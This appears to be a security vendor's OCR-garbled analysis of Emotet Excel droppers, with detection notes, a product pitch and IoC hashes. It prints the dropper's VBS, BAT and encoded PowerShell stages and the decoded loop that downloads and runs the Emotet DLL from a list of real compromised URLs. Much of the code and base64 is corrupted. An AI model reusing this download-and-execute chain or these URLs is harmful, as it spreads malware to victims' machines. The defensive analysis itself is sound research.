ryulxdHSerw="'c:\programdata\ughldskbhn.bat":
1gSEd)Dsfy5JGHKdggdh.run ryulxdHSerw,0,true:

HkjsdsfEhdse46d='cmd /c start /B c:\windows\syswow64\rundll32.exe
c\:programdata\x08neuihlows.dll,hjyldksfkw3':

lgSEdJ Dsfy5JGHKdggdh.run HkjsdsfEhdse46d,0

Basically, the script executes the previously created Batch file and then tries to execute
“c\:;programdata\x08neuihlows.dll,” while providing it with the value “hjyldksfkw3” using
rundll32. Since this is the first mention of “x08neuihlows.dIlI” and the VBS file executes the
Batch script before running the DLL, it is fair to assume that the BAT script is in charge of
dropping the executable in the right location.

Just like the VBS file uses colons to concatenate commands, the BAT script uses
ampersands to do the same:
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l:lir&echo etjlwejdfsgdsrYHDShD46dsrtydfghrg sdfgsdGDs46sdfHZSdgSwryoi&SET
ertEWRt4=po&echo fkj3h5tidxhdfgokihJFjxxdsd4ghkxfghxd ghkw gfkjbgekedfghYdhjFxdf&SET
cvFHDErte75s=wers&echo GJDrft678dYjdfGhSbgs5y7dfghGgEqwghcfghcghndt5tyuoghgh&SET
oiffdFGhse34sd=hell -e&echo
YertyDSrfGfHFTGUfHdghDfHxdgW4ehfgh78dfHDRgdsFhdfghdFBGDFnnctfGuiyfiJUCFdHdrGdhf&SET
wreDgdSdytDFf=nc&echo DGFDRFs57dTFgjiDYigukcvghjGFmjFxchdGFSdFqw3eDThfgH&SET
jDFtHxdrgszegh=TABKAHQASQAyADQAawBaAHYAbwAvACwAaABOAHQACAABACBALWBzAGUAYQB]
AHUAcABWAHMALgBjAG8AbQAVAGUAbABUACOAaQBtAGEAZWBIAHMALWBBAFkAdgBS5AGsAegBnAC
8ALABoAHQAdABWADOALWAVAGUAcgBpAGMAYQBUAGQACcgBVAGIAaQBUACAAYWBVAGOALWBjAGC
AaQAvVAHEAUgBIADgAZABSAGEARWAYAEgGARABOAESATWBHADEALWASAGgAdABOAHAAOEAVACSBAC
wBvAHMAYQBUAHQAaQBXxAHUAZQBzAC4AYwBvAGOALWBjAGcAaQAvADkAaQBpACBALABoAHQAdA
BwAHMAOgAVACBAZWBYAGUAZQBUAGWAYQB3AG4AaQByAHIAaQBnAGEAdABpAG8AbgAUAGAAZQ
BOACSB8ARWBMAEKAXwBOAGUAdwAVAEoAUgBsAHQAMWBtAE8AaQBIAHOARQAVACWAAABOAHQACA
BzADoALwWAVAG8AbgAtAGwAaQBuAGUAdgBIAG4AdAB1AHIAZQBzAC4AYWBVAGOALWBJAGcAaQAVA
GsAcwAWAEOACAAVACwAaABOAHQA&echo fghkseudhkrhfgklh gshkAHHDTHDSHFJUOHLkNxserg5
VGNfGthjtfhxdrfS&SET
AegFhtXfgdf=cAAGACSALWBzAHUAbgByAGkAcwBIAGMAbwBUAHMAdQBsAHQAYQBUAHQALgEBJAGS
AbQAVAGUAbABUACOAaQBtAGEAZWBIAHMALwWBZAESANABYAHYARgBCAHMAZQB2AEMAUgBmMACS
ALABoAHQAdABwWADOALWAVAGIAbABVAGCcALgBsAGBAZWBvADEAMgAzACAAYwBVAGOALWB3AHAAL
QBjAG8AbgBOAGUAbgBOACSAMQASAECAMAAOAEWAagBBADEAVQBJAEUAMQBOAE4AOAAVACWAS
ABOAHQACAABACBALWBpAGAAdABYAGEAYgBsAGBAZWAUAHQAYQBOAGEAbQBVAHQAbwBYAHMAL
gBjAGBAbQAVAHCcACAAtAGkAbgBjAGwWAdQBkAGUAcwWAVAEOARWBHAGKANQBGAGMAWgBYAGsAbw
BSAEYASAASACBAIgAUAHMAUABMAEKAdAAOACIALAAIACKAOWARBAGYAbwBSAGUAQQBDAGEAKAAK
AHkKASQBKAHMAUgBoAHKAZQAzADQAcwBSAHUAZgBnAHgAagBjAGQAZgAgAGKATEAgACQATQBKAF
gAZABmAHMAaABEAHIAZgBHAFoA&echo
fdghkw4hyithyuishgkisYiUoUllfgk67fgKjFITHXDrgWghdFhfgjtyhShdgzs&SET
BXdgrtysews34yu=cwBIAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBKADOAIgB
jADoAXABWAHIAbwBnAHIAYQBtAGQAYQBOAGEAXABIAG4AZQB1AGkAaABSAGBAdwBzACAAZABSAG
wAIgA7AGKkAbgBWAE8AawBIACOAdwBIAEIAcgBFAHEAVQBIAHMAVAAgACOAdQBSAEKAIAAKAHKASQ,
BKAHMAUgBoAHKAZQAZADQACWB5AHUAZgBnAHgAagBjAGQAZgAgACOAbwBVAHQAREBIAGWAZQA
gACOQARWB3AGUAWQBIADUANWBzAGUAZABzAHCAZAATAGKARgA0OAHQAZQBTAHQALOQBWAEEAVAB
oACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBKACkAewBpAGYAKAA0AGCARQBOACOAaQB
OAEUAbQAgACQARWB3AGUAWQBIADUANWBzAGUAZABzAHcAZAApACAAbABIAE4AARWBOAGEAIAAL
AGcAZQAgADQANWAOADMANgApAHsSAYgBSAGUAYQBrADsAfQBSAHOA

echo FGsrtghskeh4hirugh sgekg5kjgrkyhdIfighx7dGUTDRYUFu6r7yfugHIGIFKgjhkoi87jhgkjkj&start/B

JWAIT
%ertEWRt4%%cvFHDErte75s5%%oifYdFGhse34sd%%wreDgdSdytDFf%%jDFtHxdrgszegh%%AegFhtXfg
4f%%BXdgrtysews34yu%&echo CGFhjCDFthjufcjftT46r hsbgrdjehgdfgDRHdRHdrt4ydds rtgdjth

In short, the script sets a few variables, and concatenates their values in the below
command.
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start/B /WAIT
%ertEWRt4%%cvFHDErte75s%%oifYdFGhse34sd%%wreDgdSdytDFf%%;jDFtHxdrgszegh%%AegFhtXfg
4f%%BXdgrtysews34yu%&echo CGFhjCDFthjufcjftT46r hsbgrdjehgdfgDRHdRHdrt4ydds rtg4jth

Which translates into the following:

start/B /WAIT powershell -encHE
IAVQBIAHMAVAAgACOAdQBSAEKAIAAKAHKASQBKAHMAUgBoAHKAZQAzZADQAcwWBSAHUAZgBnAHgA
agBjAGQAZgAgACOAbwBVAHQAREBJAGWAZQAgACOARWB3AGUAWQBIADUANWBzAGUAZABzAHCAZ
IAA7AGKARgAOAHQAZQBTAHQALOBWAEEAVABOACAAJABHAHCAZQBZAEEANQA3AHMAZQBKAHMAG
wBKkACkAewBpAGYAKAA0OAGCcARQBOAC0AaQBOAEUAbQAEACQARWB3AGUAWQBIADUANWBZAGUA
ZABzAHcAZAApACAAbABIAE4AARWBOAGEAIAAtAGCAZQAgADOQANWAOADMANgApPAHSAYgBSAGUAYQ
BrADsAfQB9AHOA

After base64 decoding the PowerShell script, | discovered how Emotet downloads their DLL
payload and from where.

As can be seen below, the variable “MJXdfshDrfGZses4” contains a list of URLs which the
script goes over using a “for” loop. Each time the “for” loop runs, it tries to download the
Emotet DLL into "c:\programdata\bneuihlows.dll" using “Invoke-WebRequest.” Then, it
checks if the downloaded file’s length is greater than 47436 bytes. If so, it means that the
DLL was downloaded successfully, and the loop breaks.
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SMIXdfshDrfGZses4="http://harperhouseproducts.com/Merchant2/ARsf1LIcOauhH1rDrIh/,http://h
olubvideo.com/eln-images/zqqgZ0YXaPiWbF/,http://magicblog.tatamotors.com/wp-
includes/7faN9/,http://chastongroditski.com/eln-
images/skSsCLtI24kZvo/,http://seacupps.com/eln-
images/AYvykzg/,http://ericandrobin.com/cgi/qRe8dRaG2HDNOOG1/, http://sosantiques.com/cgi/9i
i/,https://greenlawnirrigation.net/GLI_New/JRIt3mOiezE/,https://on-
lineventures.com/cgi/ksOMp/,http://sunriseconsultant.com/eln-
images/sO4XvFBsevCRf/,http://blog.logo123.com/wp-
content/19G04LjA1UcE1tN8/,http://intrablog.tatamotors.com/wp-
includes/MGGi5zcZrkolFH9/".sPLIt(",");

foReACh(SyldsRhye34syufgxjcdf iN SMIXdfshDrfGZses4)
{
SGweYH57sedswd="c:\programdata\bneuihlows.dII"; The PowerShell code used
inVOke-weBrEqUesT -uRl SyldsRhye34syufgxjcdf -oUtFlle SGweYH57sedswd;
iF(teSt-pATh SGweYH57sedswd)
{

if((gEt-itEm SGweYH57sedswd).leNGth -ge 47436)

{
bReak;

}

to retrieve the Emotet payload

Interesting Cells and Where to Find Them

As we see in the above analysis, storing the actual commands in Excel cells instead of in the
VBA code itself can be a good way to avoid detection because when a static analysis
mechanism goes over the VBA code, it cannot determine whether the executed content is
malicious or not. Since Excel cells have benign uses in VBA code as well, a security product
may deem them as benign, to avoid a false positive.

Of course, if the cells are replaced with their content, the likelihood for detection increases.
So | tried to find a way to replace the “cells” function calls with the right strings without
running the VBA code during the analysis.

During my research, which focused on OOXML files, | found two files, which Excel creates
by default, that could help achieve this goal: “sharedStrings.xml” and
“xl/lworksheets/sheetName.xml.”

The first file, “sharedStrings.xml,” contains all the strings in the Excel file. The class
SharedStringltem (ssi) represents string items (si) and each si element contains a text (t).
The file contains unique strings, each representing the full content of one or more Excel
cells.
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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
lesst xmlns="http://schemas.openxmlformats.org/spreadsheetm!/2006/main" count="11"
unigueCount="11">
<si>
<t>
echo FGsrtghskeh4hirugh
sgekg5Skjgrkyhdifighx7dGUTDRYUFu6r7yfugHIGIFKgjhkoi87jhgkjkj&amp;star
t/B /WAIT
%ertEWRt4%%cvFHDErte755%%o0ifYdFGhse34sd%%wreDgdSdytDFf%%jDFtH
xdrgszegh%%AegFhtXfg4f%%BXdgrtysews34yu%&amp;echo
CGFhjCDFthjufcjftT46r hsbgrdjehgdfgDRHdRHdrt4ydds rtgdjth
<ft>
</si>
<si>
<t>
RDS.DataSpace
<ft>
</si>
<si>
<t>
Wscript.Shell
<ft>
</si> A SharedStrings.xml
<si>
<t>
c:\programdata\yhjlswle.vbs
</t>
</si>
<si>
<t>
c:\programdata\ughldskbhn.bat
<ft>
</si>
<si>
<t>
wghwuyscghwuyrghwuyipghwuyt
ghwuycghwuy:ghwuy\pghwuyroghwuygraghwuymdghwuyatghwuya\yhjlswl
e.vghwuybghwuys
<ft>
</si>
<si>
<t>
dir&amp;echo etjlwejdfsgdsrYHDShD46dsrtydfghrg
sdfgsdGDs46sdfHZSdgSwryoi&amp;SET ertEWRt4=po&amp;echo

|
SaT)((;Mr;%)e‘latch the strings to the right cells, we need a cell to string mapping — this is where

“xl/worksheets/sheetName.xml” comes into the picture. In OOXML Excel files, data
containing cells will be mapped in an XML file, which will be found in the following path-
“xl/worksheets/sheetName.xml,” for example, the cells of “sheet1” will be mapped in
“xl/worksheets/sheet1.xml.” Each one of these cells mapping files contains a tag called
“SheetData,” which contains a “row” tag for each row in the sheet that contains data. Each
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‘row” entry contains “c” (cell) entries. Cells that contain strings have their ‘t’ (type) values set

to ‘s’ and their ‘v’ (value) tags contain an integer that is the index of the ‘si‘ object whose

string the cell contains in “sharedStrings.xml.” Cells that contain other types of data, such as

integers and floats, have it contained in their ‘v’ tags.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml|/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:lgnorable="x14ac
xr xr2 xr3" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetm|/2009/9/ac"
xmlns:xr="http://schemas.microsoft.com/office/spreadsheetmI/2014/revision"
xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml|/2015/revision2"
xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml|/2016/revision3"
xr:uid="{7FC8577F-7150-488B-AC3E-98509E6C4C1C}"><dimension
ref="A1:AA30"/><sheetViews><sheetView tabSelected="1" workbookViewld="0"><selection
activeCell="Y22" sqref="Y22"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15"
x14ac:dyDescent="0.25"/>

<sheetData>
<row r="1" spans="1:19" x14ac:dyDescent="0.25">
<c r="A1"t="s">
<v>0</v>
<fc>
<frow>
<row r="13" spans="1:19" x14ac:dyDescent="0.25">

<c r="G13" t="s">

<v>1</v>
<fc>
<cr="513">
<v>787878</v>
<fc>

<frow>

<row r="15" spans="1:19" x14ac:dyDescent="0.25">
<c r="515" t="s">

<v>2</v>

<fc>

<frow>

<row r="16" spans="1:19" x14ac:dyDescent="0.25">
<cr="L16">

<v>4444</fv>

“xl/worksheets/sheetName.xml” file

An example of an
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By writing a script that extracts that data, matches cells to their appropriate values, and
replaces “cell” function calls with these values, | could make the script less obfuscated and
increase the likelihood of it being flagged by a static analysis mechanism. | also addressed
the VBA “replace” functions issue and mimicked its functionality in my code.

The script is still in the works and currently handles only the “cells,” “transpose,” and
“replace” functions. In addition, it only works on OOXML files and expects to get the VBA
code as an input (I used oledump to extract it from examined Office files). There is still much
work to do and cases to address, such as use of variables in function calls, e.g.: “cells($i, $j)”
and of OLE files.

Prevention, Detection, and Everything in Between

Obfuscated droppers are more difficult to detect — they contain intentionally broken strings
that evade static signatures, store malicious content in Excel cells, and use excessive
comments in the hope of hiding their malicious content. But difficult does not mean
impossible. Some patterns can still be signed statically, other behaviors can be detected
dynamically, and if you want to take the bulldozer approach, you can just forbid all script
executions (or at least most of them).

Conclusion

Deep Instinct’s agent uses deep learning to prevent malicious droppers, ensuring they can’t
execute in your environment. The Deep Instinct Prevention Platform stops known, unknown,
and zero-day threats with the highest accuracy and lowest false-positive rate in the industry.
We stop attacks before they happen, identifying malicious files in <20ms, before execution.

If you'd like to see the platform in action for yourself, we’'d be honored to show you what true
prevention looks like. Please request a demo.

Indicators of Compromise (loCs)

0042404ac9cbe7c082b9c0ae130e956ab7989cfa72a3f3b0c7f2226e23a6¢c6¢cb Emotet (Excel
cells method) Office dropper

40a1e0aale580e2a15bbfd70ba4b89d3dd549bdc7bc075a223f12db0ddd2195d Emotet
(Excel cells method) VBA code

ed7c68c3c103beaa7e5f30a3b70a52bb5428ce1498b7f64feda74342f93e16fe Emotet
(excessive comments method) VBA code

028a5447d36¢c7445e3b24757d5cb37bafa54c5dfa7c3393fa69dd26e278442a4 Emotet
(excessive comments method) Office dropper
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https://github.com/deepinstinct/Exceller
https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py
https://www.deepinstinct.com/platform
https://www.deepinstinct.com/request-a-demo

9caed14e7f7d3e4706db2e74dc870abff571cce715f83ef91c563627822af6ad Dridex Office
dropper

4f5ecf2c3073edd549e8ea2b1e65d8c478f3390567 cffa3c909d328a3969ddd8 Dridex VBA
code

cb9a5f0ad26cbb7b9f510b80df97f0045d7232d31cfde3cbce095d1¢c88c90e89 Aggah VBA
code
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